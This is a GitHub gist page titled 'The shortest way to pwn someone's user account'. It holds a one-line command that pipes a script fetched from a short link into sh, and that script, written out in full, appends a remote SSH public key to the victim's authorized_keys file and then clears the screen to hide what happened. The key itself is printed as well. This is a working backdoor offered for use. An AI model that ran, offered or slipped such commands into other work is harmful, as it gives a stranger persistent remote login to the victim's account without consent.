Skip to content

Instantly share code, notes, and snippets.

@RichardBronosky
Created June 2, 2010 16:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RichardBronosky/422582 to your computer and use it in GitHub Desktop.
Save RichardBronosky/422582 to your computer and use it in GitHub Desktop.
The shortest way to pwn someone's user account
## curl -L j.mp/pwnssh|sh
chmod go-w ~; umask 0077; mkdir -p ~/.ssh; chmod go-rwx ~/.ssh; curl -L j.mp/rbkey >> ~/.ssh/authorized_keys; clear;
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyL+GK4lsq0+7cvnDu2jD3Zp5L1okl+ibTHRJ03x1g7MhVmqSXst5JmCSU9Q05QljPjZKHw2C5/yUGOq1iXhsnBUlbn1DO6UG3qsaXLc77n04i83XfvLG4XIO0SqrTrPS9YbUcOLWpwVAVsHfOiwxt3yAA8fRefa8tEWO9r94aQrNbYjpeyzmM1B1IQpK/8TKtbWz4ajEZjuHAvjO2TzvI5A83N0j66qf1CKL8uhQfEMhhk6ZnImBMKxKtlo66C4qeNb+PZe9wOPb+ED2ZWxasbvhfa3MpsyiRZp4R0LfFmhL8QiOMjcUqlLxbDNT1Vg4i7uOhD7QRRVw4BkKdsncjw== user@example.com
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment